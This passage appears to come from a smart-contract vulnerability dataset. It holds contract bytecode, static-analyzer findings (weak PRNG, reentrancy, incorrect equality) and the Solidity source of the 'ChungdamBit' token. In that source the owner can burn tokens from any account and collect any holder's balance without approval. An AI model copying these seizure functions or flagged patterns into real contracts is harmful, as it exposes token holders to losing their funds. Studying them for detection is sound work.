63e985e9c560e01b81526001600160a01b0385811660048301523060248301529091169063e985e9c59060440160206040518083038186803b15801561179357600080fd5b505afa1580156117a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cb9190611df4565b6118005760405162461bcd60e51b8152600401610398906020808252600490820152637430323160e01b604082015260600190565b6008546040516370a0823160e01b81526001600160a01b03858116600483015260009216906370a082319060240160206040518083038186803b15801561184657600080fd5b505afa15801561185a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187e9190611e75565b90506000805b8281101561195a576000888152600560205260408082206008549151632f745c5960e01b81526001600160a01b038a81166004830152602482018690529193929190911690632f745c599060440160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190611e75565b815260208101919091526040016000205460ff1661194857611945826001611384565b91505b806119528161218d565b915050611884565b50600081116119945760405162461bcd60e51b8152600401610398906020808252600490820152633a18191960e11b604082015260600190565b85811061199e5750845b60008167ffffffffffffffff8111156119b9576119b96121fe565b6040519080825280602002602001820160405280156119e2578160200160208202803683370190505b5090506000805b84811015611b685760008a8152600560205260408082206008549151632f745c5960e01b81526001600160a01b038c81166004830152602482018690529193929190911690632f745c599060440160206040518083038186803b158015611a4f57600080fd5b505afa158015611a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a879190611e75565b815260208101919091526040016000205460ff16611b565783821015611b5657600854604051632f745c5960e01b81526001600160a01b038a811660048301526024820184905290911690632f745c599060440160206040518083038186803b158015611af357600080fd5b505afa158015611b07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2b9190611e75565b838381518110611b3d57611b3d6121e8565b6020908102919091010152611b53826001611384565b91505b80611b608161218d565b9150506119e9565b50508051909890975095505050505050565b6000611bb682604051806040016040528060048152602001636d30303760e01b815250856001600160a01b0316611c099092919063ffffffff16565b8051909150156115c15780806020019051810190611bd49190611df4565b6115c15760405162461bcd60e51b8152600401610398906020808252600490820152631d0c0c4d60e21b604082015260600190565b6060611c188484600085611c20565b949350505050565b606082471015611c5b5760405162461bcd60e51b8152600401610398906020808252600490820152633a18181b60e11b604082015260600190565b843b611c925760405162461bcd60e51b8152600401610398906020808252600490820152637430303760e01b604082015260600190565b600080866001600160a01b03168587604051611cae9190611f97565b60006040518083038185875af1925050503d8060008114611ceb576040519150601f19603f3d011682016040523d82523d6000602084013e611cf0565b606091505b5091509150611d00828286611d0b565b979650505050505050565b60608315611d1a5750816113cc565b825115611d2a5782518084602001fd5b8160405162461bcd60e51b81526004016103989190611fd7565b508054600082559060005260206000209081019061078591905b80821115611d725760008155600101611d5e565b5090565b600060208284031215611d8857600080fd5b81356113cc81612214565b60008060408385031215611da657600080fd5b8235611db181612214565b946020939093013593505050565b600080600060608486031215611dd457600080fd5b8335611ddf81612214565b95602085013595506040909401359392505050565b600060208284031215611e0657600080fd5b81516113cc81612229565b600080600060608486031215611e2657600080fd5b8335611e3181612214565b92506020840135611e4181612214565b91506040840135611e5181612214565b809150509250925092565b600060208284031215611e6e57600080fd5b5035919050565b600060208284031215611e8757600080fd5b5051919050565b60008060408385031215611ea157600080fd5b823591506020830135611eb381612214565b809150509250929050565b600080600080600080600060e0888a031215611ed957600080fd5b873596506020880135611eeb81612229565b96999698505050506040850135946060810135946080820135945060a0820135935060c0909101359150565b60008060408385031215611f2a57600080fd5b50508035926020909101359150565b600080600080600060a08688031215611f5157600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208284031215611f8657600080fd5b815160ff811681146113cc57600080fd5b60008251611fa9818460208701612161565b9190910192915050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6020815260008251806020840152611ff6816040850160208701612161565b601f01601f19169190910160400192915050565b6020808252600490820152637430303160e01b604082015260600190565b6000821982111561203b5761203b6121bc565b500190565b60008261204f5761204f6121d2565b500490565b600181815b8085111561208f578160001904821115612075576120756121bc565b8085161561208257918102915b93841c9390800290612059565b509250929050565b60006113cc60ff8416836000826120b057506001610a3f565b816120bd57506000610a3f565b81600181146120d357600281146120dd576120f9565b6001915050610a3f565b60ff8411156120ee576120ee6121bc565b50506001821b610a3f565b5060208310610133831016604e8410600b841016171561211c575081810a610a3f565b6121268383612054565b806000190482111561213a5761213a6121bc565b029392505050565b600081600019048311821515161561215c5761215c6121bc565b500290565b60005b8381101561217c578181015183820152602001612164565b838111156115e75750506000910152565b60006000198214156121a1576121a16121bc565b5060010190565b6000826121b7576121b76121d2565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461078557600080fd5b801515811461078557600080fdfea264697066735822122033dfcac9d8a9c4b3cfa3c57d51b674e91d4f1f41e4a5471fa18af7f60b910f9264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,480
0x3C7a1B7FD1b3DE3a71B03D6dbeDcC89297B85A2F
/** *Submitted for verification at Etherscan.io on 2021-04-15 */ pragma solidity ^0.5.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { //_transferOwnership(newOwner); _pendingowner = newOwner; emit OwnershipTransferPending(_owner, newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private _pendingowner; event OwnershipTransferPending(address indexed previousOwner, address indexed newOwner); function pendingowner() public view returns (address) { return _pendingowner; } modifier onlyPendingOwner() { require(msg.sender == _pendingowner, "Ownable: caller is not the pending owner"); _; } function claimOwnership() public onlyPendingOwner { _transferOwnership(msg.sender); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } modifier whenPaused() { require(paused, "Pausable: not paused"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Token is IERC20, Pausable { using SafeMath for uint256; using Address for address; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256 balance) { return _balances[account]; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address recipient, uint256 amount) public whenNotPaused returns (bool success) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } // function mint(address account,uint256 amount) public onlyOwner returns (bool) { // _mint(account, amount); // return true; // } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(address account,uint256 amount) public onlyOwner returns (bool) { _burn(account, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn to the zero address"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } } contract CBI is ERC20Token { constructor() public ERC20Token("ChungdamBit", "CBI", 18, 1000000000 * (10 ** 18)) { } mapping (address => uint256) internal _locked_balances; event TokenLocked(address indexed owner, uint256 value); event TokenUnlocked(address indexed beneficiary, uint256 value); function balanceOfLocked(address account) public view returns (uint256 balance) { return _locked_balances[account]; } function lockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], amounts[i]); } return true; } function lockTokenWhole(address[] memory addresses) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], _balances[addresses[i]]); } return true; } function unlockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: unlock address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); } return true; } function _lock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _balances[owner] = _balances[owner].sub(amount); _locked_balances[owner] = _locked_balances[owner].add(amount); emit TokenLocked(owner, amount); } function _unlock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _locked_balances[owner] = _locked_balances[owner].sub(amount); _balances[owner] = _balances[owner].add(amount); emit TokenUnlocked(owner, amount); } event Collect(address indexed from, address indexed to, uint256 value); event CollectLocked(address indexed from, address indexed to, uint256 value); //Lock이 해지 되었다. function collectFrom(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _transfer(addresses[i], recipient, amounts[i]); emit Collect(addresses[i], recipient, amounts[i]); } return true; } function collectFromLocked(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); _transfer(addresses[i], recipient, amounts[i]); emit CollectLocked(addresses[i], recipient, amounts[i]); } return true; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806314a7a6311461026757806318160ddd146103f857806323b872dd14610423578063313ce567146104b657806339509351146104e75780633f4ba83a1461055a5780634e71e0c8146105715780635c975abb1461058857806370a08231146105b7578063715018a61461061c5780638456cb59146106335780638da5cb5b1461064a5780638f32d59b146106a157806395d89b41146106d05780639dc29fac14610760578063a457c2d7146107d3578063a9059cbb14610846578063b9bcabe9146108b9578063da4a898e14610a4a578063dd62ed3e14610aa1578063e50c652914610b26578063e960bb4814610c03578063f2cb9bea14610c68578063f2fde38b14610dd9578063f612436114610e2a575b600080fd5b34801561017057600080fd5b50610179610f9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b34801561027357600080fd5b506103de6004803603606081101561028a57600080fd5b81019080803590602001906401000000008111156102a757600080fd5b8201836020820111156102b957600080fd5b803590602001918460208302840111640100000000831117156102db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d9565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b5061040d611363565b6040518082815260200191505060405180910390f35b34801561042f57600080fd5b5061049c6004803603606081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136d565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104cb6114a3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104f357600080fd5b506105406004803603604081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ba565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b5061056f6115e4565b005b34801561057d57600080fd5b5061058661172d565b005b34801561059457600080fd5b5061059d611823565b604051808215151515815260200191505060405180910390f35b3480156105c357600080fd5b50610606600480360360208110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611836565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b5061063161187f565b005b34801561063f57600080fd5b506106486119ba565b005b34801561065657600080fd5b5061065f611b03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ad57600080fd5b506106b6611b2c565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611b83565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072557808201518184015260208101905061070a565b50505050905090810190601f1680156107525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076c57600080fd5b506107b96004803603604081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c25565b604051808215151515815260200191505060405180910390f35b3480156107df57600080fd5b5061082c600480360360408110156107f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb7565b604051808215151515815260200191505060405180910390f35b34801561085257600080fd5b5061089f6004803603604081101561086957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de1565b604051808215151515815260200191505060405180910390f35b3480156108c557600080fd5b50610a30600480360360608110156108dc57600080fd5b81019080803590602001906401000000008111156108f957600080fd5b82018360208201111561090b57600080fd5b8035906020019184602083028401116401000000008311171561092d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098d57600080fd5b82018360208201111561099f57600080fd5b803590602001918460208302840111640100000000831117156109c157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7d565b604051808215151515815260200191505060405180910390f35b348015610a5657600080fd5b50610a5f61213f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aad57600080fd5b50610b1060048036036040811015610ac457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612169565b6040518082815260200191505060405180910390f35b348015610b3257600080fd5b50610be960048036036020811015610b4957600080fd5b8101908080359060200190640100000000811115610b6657600080fd5b820183602082011115610b7857600080fd5b80359060200191846020830284011164010000000083111715610b9a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506121f0565b604051808215151515815260200191505060405180910390f35b348015610c0f57600080fd5b50610c5260048036036020811015610c2657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612384565b6040518082815260200191505060405180910390f35b348015610c7457600080fd5b50610dbf60048036036040811015610c8b57600080fd5b8101908080359060200190640100000000811115610ca857600080fd5b820183602082011115610cba57600080fd5b80359060200191846020830284011164010000000083111715610cdc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610d3c57600080fd5b820183602082011115610d4e57600080fd5b80359060200191846020830284011164010000000083111715610d7057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123cd565b604051808215151515815260200191505060405180910390f35b348015610de557600080fd5b50610e2860048036036020811015610dfc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125c2565b005b348015610e3657600080fd5b50610f8160048036036040811015610e4d57600080fd5b8101908080359060200190640100000000811115610e6a57600080fd5b820183602082011115610e7c57600080fd5b80359060200191846020830284011164010000000083111715610e9e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610efe57600080fd5b820183602082011115610f1057600080fd5b80359060200191846020830284011164010000000083111715610f3257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506126fd565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110335780601f1061100857610100808354040283529160200191611033565b820191906000526020600020905b81548152906001019060200180831161101657829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff161515156110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6110cf3384846128cc565b6001905092915050565b60006110e3611b2c565b1515611157576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600084511115156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8251845114151561126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b8451811015611357576112b7858281518110151561128f57fe5b906020019060200201518486848151811015156112a857fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156112dc57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1314fd112a381beea61539dbd21ec04afcff2662ac7d1b83273aade1f53d1b97868481518110151561132b57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611275565b50600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff161515156113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6113ff848484612b4d565b611498843361149385600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160149054906101000a900460ff16151515611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6115da33846115d585600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b6128cc565b6001905092915050565b6115ec611b2c565b1515611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff1615156116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611818576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652070656e646981526020017f6e67206f776e657200000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61182133612f8c565b565b600160149054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611887611b2c565b15156118fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6119c2611b2c565b1515611a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16151515611abb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c1b5780601f10611bf057610100808354040283529160200191611c1b565b820191906000526020600020905b815481529060010190602001808311611bfe57829003601f168201915b5050505050905090565b6000611c2f611b2c565b1515611ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611cad8383613115565b6001905092915050565b6000600160149054906101000a900460ff16151515611d3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611dd73384611dd285600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b6128cc565b6001905092915050565b6000600160149054906101000a900460ff16151515611e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611e73338484612b4d565b6001905092915050565b6000611e87611b2c565b1515611efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008451111515611f9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b82518451141515612013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156121335761205a858281518110151561203357fe5b90602001906020020151858381518110151561204b57fe5b906020019060200201516132d4565b612093858281518110151561206b57fe5b9060200190602002015184868481518110151561208457fe5b90602001906020020151612b4d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156120b857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcef2a588ab872cf14edd1b152ab54525aa85d0ccf08912fb5cdd419f0ef6d063868481518110151561210757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612019565b50600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006121fa611b2c565b151561226e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082511115156122e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b60008090505b825181101561237a5761236d838281518110151561230757fe5b9060200190602002015160066000868581518110151561232357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613593565b80806001019150506122ed565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006123d7611b2c565b151561244b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4c6f636b546f6b656e3a20756e6c6f636b206164647265737320697320656d7081526020017f747900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156125b7576125aa848281518110151561258357fe5b90602001906020020151848381518110151561259b57fe5b906020019060200201516132d4565b8080600101915050612569565b506001905092915050565b6125ca611b2c565b151561263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8573d4aae9f7fb051c6b88d7440011a1c12376acda6603a45f45bad36a8db4ce60405160405180910390a350565b6000612707611b2c565b151561277b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156127f4576040517f08c379a00000000000